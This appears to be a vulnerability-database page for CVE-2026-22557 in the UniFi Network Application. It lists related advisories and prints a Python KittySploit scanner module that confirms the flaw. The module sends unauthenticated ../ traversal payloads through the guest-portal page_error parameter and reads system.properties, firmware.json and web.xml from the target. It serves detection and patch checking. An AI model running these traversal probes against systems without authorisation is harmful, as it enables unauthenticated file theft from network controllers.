UniFi Network Application CVE-2026-22557 detection
| Reporter | Title | Published | Views | Family All 28 |
|---|---|---|---|---|
| Exploit for CVE-2026-22557 | 29 May 202620:20 | – | githubexploit | |
| Exploit for CVE-2026-22557 | 11 Apr 202614:21 | – | githubexploit | |
| UniFi Network Application - Multiple vulnerabilities | 19 Mar 202600:00 | – | freebsd | |
| CVE-2026-22557 | 19 Mar 202614:24 | – | attackerkb | |
| UniFi Network Path Traversal | 23 Mar 202600:00 | – | bdu_fstec | |
| CVE-2026-22557 | 18 Mar 202622:22 | – | circl | |
| Ubiquiti UniFi Network Application 安全漏洞 | 19 Mar 202600:00 | – | cnnvd | |
| CVE-2026-22557 | 19 Mar 202614:24 | – | cve | |
| CVE-2026-22557 | 19 Mar 202614:24 | – | cvelist | |
| EUVD-2026-13101 | 19 Mar 202615:31 | – | euvd |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""CVE-2026-22557 — UniFi Network Application guest-portal path traversal detection.
Note: some public "safe testers" probe unrelated /api/*?path= payloads. The real bug is
unauthenticated page_error traversal on the guest portal (SAB-062 / Bishop Fox / Nuclei).
"""
import json
import re
from typing import Optional, Tuple
from urllib.parse import quote
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
"name": "UniFi Network Application CVE-2026-22557 detection",
"description": (
"Detects unauthenticated path traversal via the guest portal page_error "
"parameter (CVE-2026-22557 / SAB-062). Calibrates with system.properties, "
"then confirms the customized-portal filesystem branch with firmware.json "
"(and optionally web.xml via /login). Fixed in 10.1.89 / 10.2.97 / 9.0.118."
),
"author": ["KittySploit Team"],
"severity": "critical",
"cve": "CVE-2026-22557",
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2026-22557",
"https://community.ui.com/releases/Security-Advisory-Bulletin-062-062/c29719c0-405e-4d4a-8f26-e343e99f931b",
"https://bishopfox.com/blog/looting-unifi-controllers-detecting-and-weaponizing-cve-2026-22557",
"https://github.com/BishopFox/CVE-2026-22557-check",
],
"modules": [
"auxiliary/scanner/http/unifi_cve_2026_22557_lfi",
],
"tags": [
"web",
"scanner",
"unifi",
"ubiquiti",
"path-traversal",
"lfi",
"guest-portal",
"cve-2026-22557",
],
"agent": {
"risk": "active",
"effects": ["network_probe"],
"expected_requests": 12,
"reversible": True,
"approval_required": False,
"produces": ["tech_hints", "risk_signals", "endpoints"],
"cost": 1.0,
"noise": 0.4,
"value": 1.0,
"requires": {
"min_endpoints": 0,
"min_params": 0,
"tech_hints_any": ["unifi", "ubiquiti"],
"tech_hints_all": [],
"specializations_any": [],
"risk_signals_any": [],
"auth_session": False,
"capabilities_any": [],
"capabilities_all": [],
"confidence_min": {},
"confidence_min_any": {},
"endpoint_pattern_any": ["/guest/", "/status"],
"param_any": ["page_error"],
"api_surface_ready": False,
},
"chain": {
"produces_capabilities": [{'capability': 'file_read', 'from_detail': ''}],
"consumes_capabilities": [],
"option_bindings": {},
"suggested_followups": [
"auxiliary/scanner/http/unifi_cve_2026_22557_lfi",
],
},
},
}
port = OptPort(8443, "UniFi Network Application port (8443/8843/8880)", True)
ssl = OptBool(True, "Use HTTPS", True, advanced=True)
site = OptString("default", "UniFi site slug to probe", required=False)
max_depth = OptInteger(8, "Maximum ../ depth for calibration", required=False, advanced=True)
_HTML_MARKERS = ("<html", "<!doctype", "<head", "<body", "unifi.ui")
def _timeout(self) -> int:
return max(int(self.timeout or 10), 10)
def _site(self) -> str:
return str(self.site or "default").strip() or "default"
def _guest_base(self) -> str:
return f"/guest/s/{self._site()}"
def _is_html(self, body: str) -> bool:
lower = (body or "")[:4000].lower()
return any(marker in lower for marker in self._HTML_MARKERS)
def _looks_like_properties(self, body: str) -> bool:
if not body or len(body) < 12 or self._is_html(body):
return False
lower = body.lower()
if any(
marker in lower
for marker in (
"is_default=",
"unifi.",
"inform_url",
"uuid=",
"portal.",
)
):
return True
lines = [
line
for line in body.splitlines()
if "=" in line and not line.lstrip().startswith(("<", "#"))
]
return len(lines) >= 2
def _looks_like_firmware_json(self, body: str) -> bool:
text = (body or "").lstrip()
if not text or text[0] not in "{[" or self._is_html(text):
return False
lower = text.lower()
return any(
marker in lower
for marker in (
'"firmware"',
'"platform"',
'"device_id"',
'"_id"',
'"version"',
'"board"',
)
)
def _looks_like_web_xml(self, body: str) -> bool:
if not body or self._is_html(body):
return False
return any(
marker in body
for marker in (
"Ubiquiti Networks",
"UniFiResourceServlet",
"com.ubnt",
"<web-app",
)
)
@staticmethod
def _version_tuple(value: str) -> Optional[Tuple[int, int, int]]:
parts = []
for part in str(value or "").split(".")[:3]:
digits = "".join(ch for ch in part if ch.isdigit())
if not digits:
return None
parts.append(int(digits))
while len(parts) < 3:
parts.append(0)
return tuple(parts[:3]) # type: ignore[return-value]
def _is_patched(self, version: str) -> Optional[bool]:
"""True if fixed, False if known-vulnerable branch, None if unknown."""
parsed = self._version_tuple(version)
if not parsed:
return None
major, minor, patch = parsed
# SAB-062: 10.1.89, 10.2.97, 9.0.118
if major == 10 and minor == 1:
return patch >= 89
if major == 10 and minor == 2:
return patch >= 97
if major == 10 and minor >= 3:
return True
if major == 9 and minor == 0:
return patch >= 118
if major > 10:
return True
return None
def _get_version(self) -> str:
response = self.http_request(
method="GET",
path="/status",
timeout=self._timeout(),
allow_redirects=True,
)
if not response or response.status_code != 200:
return ""
text = response.text or ""
try:
data = response.json()
except Exception:
data = None
if isinstance(data, dict):
for key in ("server_version", "version", "versionCli"):
if data.get(key):
return str(data[key])
meta = data.get("meta") if isinstance(data.get("meta"), dict) else {}
if meta.get("server_version"):
return str(meta["server_version"])
entries = data.get("data")
if isinstance(entries, list) and entries:
first = entries[0] if isinstance(entries[0], dict) else {}
for key in ("server_version", "version", "versionCli"):
if first.get(key):
return str(first[key])
# Flatten JSON search
blob = json.dumps(data)
match = re.search(r'"server_version"\s*:\s*"([^"]+)"', blob)
if match:
return match.group(1)
match = re.search(r'"server_version"\s*:\s*"([^"]+)"', text)
if match:
return match.group(1)
match = re.search(r'"version"\s*:\s*"(\d+\.\d+\.\d+[^"]*)"', text)
return match.group(1) if match else ""
def _guest_exposed(self) -> bool:
response = self.http_request(
method="GET",
path=f"{self._guest_base()}/",
timeout=self._timeout(),
allow_redirects=True,
)
if not response or response.status_code != 200:
return False
ctype = (response.headers.get("Content-Type") or "").lower()
body = response.text or ""
return "text/html" in ctype or self._is_html(body) or "unifi" in body.lower()
def _page_error_get(self, endpoint: str, page_error: str):
encoded = quote(page_error, safe="/.")
path = f"{endpoint}?page_error={encoded}"
referer = f"{self._guest_base()}/?id=aa:bb:cc:dd:ee:ff&ap=00:11:22:33:44:55&ssid=test&url=http://example.com"
return self.http_request(
method="GET",
path=path,
headers={"Referer": referer},
timeout=self._timeout(),
allow_redirects=True,
)
def _calibrate(self) -> Optional[int]:
guest = self._guest_base()
endpoints = (
f"{guest}/wechat/sign",
f"{guest}/login",
)
max_depth = max(1, min(int(self.max_depth or 8), 16))
for depth in range(1, max_depth + 1):
prefix = "../" * depth
target = f"{prefix}system.properties"
for endpoint in endpoints:
response = self._page_error_get(endpoint, target)
if not response or response.status_code != 200:
continue
body = response.text or ""
if self._looks_like_properties(body):
return depth
return None
def _confirm_fs(self, depth: int) -> Tuple[bool, str]:
guest = self._guest_base()
prefix = "../" * depth
probes = (
(f"{guest}/wechat/sign", f"{prefix}firmware.json", self._looks_like_firmware_json),
(f"{guest}/login", f"{prefix}web.xml", self._looks_like_web_xml),
(f"{guest}/login", f"{prefix}../../web.xml", self._looks_like_web_xml),
(f"{guest}/wechat/sign", f"{prefix}../../web.xml", self._looks_like_web_xml),
)
for endpoint, page_error, checker in probes:
response = self._page_error_get(endpoint, page_error)
if not response or response.status_code != 200:
continue
body = response.text or ""
if checker(body):
return True, page_error
return False, ""
def run(self):
version = self._get_version()
patched = self._is_patched(version) if version else None
if version:
tag = (
"patched"
if patched is True
else "UNPATCHED vulnerable build"
if patched is False
else "unknown branch"
)
print_status(f"UniFi version from /status: {version} [{tag}]")
else:
print_status("Could not determine UniFi version from /status")
if not self._guest_exposed():
print_info(f"Guest portal not reachable at {self._guest_base()}/")
self.set_info(
severity="info",
cve="CVE-2026-22557",
reason=f"Guest portal not exposed for site={self._site()}",
confidence="medium",
version=version,
)
return False
print_success(f"Guest portal reachable for site={self._site()}")
depth = self._calibrate()
if depth is None:
reason = (
f"Guest portal reachable but page_error traversal did not fire "
f"(likely patched; version={version or 'unknown'})"
)
print_info(reason)
self.set_info(
severity="info",
cve="CVE-2026-22557",
reason=reason,
confidence="medium" if patched is True else "low",
version=version,
)
return False
print_warning(f"Traversal code path responded at depth={depth}")
fs_ok, probe = self._confirm_fs(depth)
if fs_ok:
reason = (
f"CVE-2026-22557 confirmed: unauthenticated file read via page_error "
f"(site={self._site()}, depth={depth}, probe={probe})"
)
print_success(reason)
self.set_info(
severity="critical",
cve="CVE-2026-22557",
reason=reason,
confidence="high",
version=version,
site=self._site(),
depth=depth,
endpoint=f"{self._guest_base()}/wechat/sign",
)
return True
reason = (
f"CVE-2026-22557 partially exposed: traversal fires but customized-portal "
f"filesystem branch inactive for site={self._site()} (patch still required)"
)
print_warning(reason)
self.set_info(
severity="high",
cve="CVE-2026-22557",
reason=reason,
confidence="high",
version=version,
site=self._site(),
depth=depth,
)
return True
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05 Aug 2026 13:34Current
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Vulners AI Score8.6
CVSS 3.110
EPSS0.28116
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